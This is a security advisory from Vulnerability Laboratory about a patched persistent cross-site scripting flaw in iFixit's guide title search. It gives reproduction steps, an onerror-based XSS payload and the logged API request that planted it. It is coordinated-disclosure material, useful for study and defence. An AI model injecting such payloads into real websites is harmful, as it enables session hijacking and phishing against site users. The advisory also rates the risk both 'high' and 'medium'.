iFixIt Guide Cross Site Scripting

Type packetstorm
Reporter Hadji Samir
Modified 2016-02-19T00:00:00


                                            `Document Title:  
ifixit Bug Bounty #5 - Guide Search Persistent Vulnerability  
References (Source):  
Video: http://www.vulnerability-lab.com/get_content.php?id=1699  
Release Date:  
Vulnerability Laboratory ID (VL-ID):  
Common Vulnerability Scoring System:  
Product & Service Introduction:  
The free repair guide for everything, written by everyone. iFixit is a private company in San Luis Obispo, California. Founded in 2003 while the   
founders were attending Cal Poly, the company sells repair parts and publishes free wiki-like online repair guides for consumer electronics and gadgets on its web site.  
(Copy of the Vendor Homepage: https://www.ifixit.com/ )  
Abstract Advisory Information:  
The Vulnerability Laboratory Core Research Team discovered an application-side input validation web vulnerability in the official ifixit online service web-application.  
Vulnerability Disclosure Timeline:  
2015-12-25: Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH)  
2015-12-26: Vendor Notification (iFixIt Security Team)  
2015-12-29: Vendor Response/Feedback (iFixIt Security Team)  
2016-02-01: Vendor Fix/Patch (iFixIt Developer Team)  
2016-02-15: Security Acknowledgements (iFixIt Security Team)  
2016-02-17: Public Disclosure (Vulnerability Laboratory)  
Discovery Status:  
Affected Product(s):  
Exploitation Technique:  
Severity Level:  
Technical Details & Description:  
A persistent cross site scripting web vulnerability has been discovered in the official ifixit online service web-application.  
The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the vulnerable modules context.  
The vulnerability is located in the `title name` value of the `guides` and `prerequisite guides` search modules. Remote attackers with low privileged   
web-application user accounts are able to inject own malicious script codes to the application-side of the affected POST/GET method request. The attack   
vector of the vulnerability is located on the application-side and the request method to inject is POST. The execution of the inserted payload occurs   
in the search module were the `guides` and `prerequisite guides` becomes available with keyword.  
The security risk of the filter bypass and persistent validation vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 3.8.   
Exploitation of the persistent input validation web vulnerability requires a low privileged web-application user accountand low or medium user interaction.   
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects to malicious source and   
persistent manipulation of affected or connected application modules.  
Request Method(s):  
[+] POST  
Vulnerable Module(s):  
[+] `guides`  
[+] `prerequisite guides`  
Vulnerable Parameter(s):  
[+] title name (Guide)  
Affected Module(s):  
[+] Search Guide  
Proof of Concept (PoC):  
The persistent cross site vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
Manual steps to reproduce the vulnerability ...  
1. I create Guide with title name as script code payload   
Note: Payload - Samir"><img src="c" onerror=alert(document.domain)>  
2. Now the attacker needs to create new Guide page  
3. After the adding procedure he clicks to the details  
4. In the List any prerequisite guides in the searching i write Samir and i get the title about the last Guide page  
5. Samir"><img src="c" onerror=alert(document.domain)> Now the code XSS executes via payload metatag  
6. Successful reproduce of the persistent cross site scripting vulnerability!  
PoC: Exploitcode  
<div class="prereqBody">  
<i class="fa fa-minus-circle delete"></i>  
<span class="prereqName">Samir"><img src="c" onerror=alert(document.domain)></span>  
--- PoC Session Logs [POST] ---  
Status: 201[Created]  
POST https://www.ifixit.com/api/2.0/guides   
Load Flags[LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Content Size[2192] Mime Type[application/json]  
Request Headers:  
User-Agent[Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:44.0) Gecko/20100101 Firefox/44.0]  
Accept[text/javascript, text/html, application/xml, text/xml, */*]  
Accept-Encoding[gzip, deflate, br]  
Content-Type[application/x-www-form-urlencoded; charset=utf-8]  
Post Data:  
{"type":"replacement","category":"test","subject":"test","title":"Samir\"><img src=\"c\" onerror=alert(document.domain)> Replacement","summary":"test","introduction":"","flags":[],"image":null,"langid":"en"}]  
Response Headers:  
Expires[Thu, 19 Nov 1981 08:52:00 GMT]  
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]  
Date[Mon, 01 Feb 2016 13:52:16 GMT]  
Security Risk:  
The security risk of the persistent input validation web vulnerability in the ifixit.com online service web-application is estimated as medium. (CVSS 3.8)  
Credits & Authors:  
Vulnerability Laboratory [Research Team] - Hadji Samir (samir@evolution-sec.com) [http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir]  
Disclaimer & Information:  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed   
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable   
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab   
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for   
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,   
policies, deface websites, hack into databases or trade with fraud/stolen material.  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com  
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to   
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by   
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website   
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact   
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.  
Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™  
SERVICE: www.vulnerability-lab.com  
CONTACT: research@vulnerability-lab.com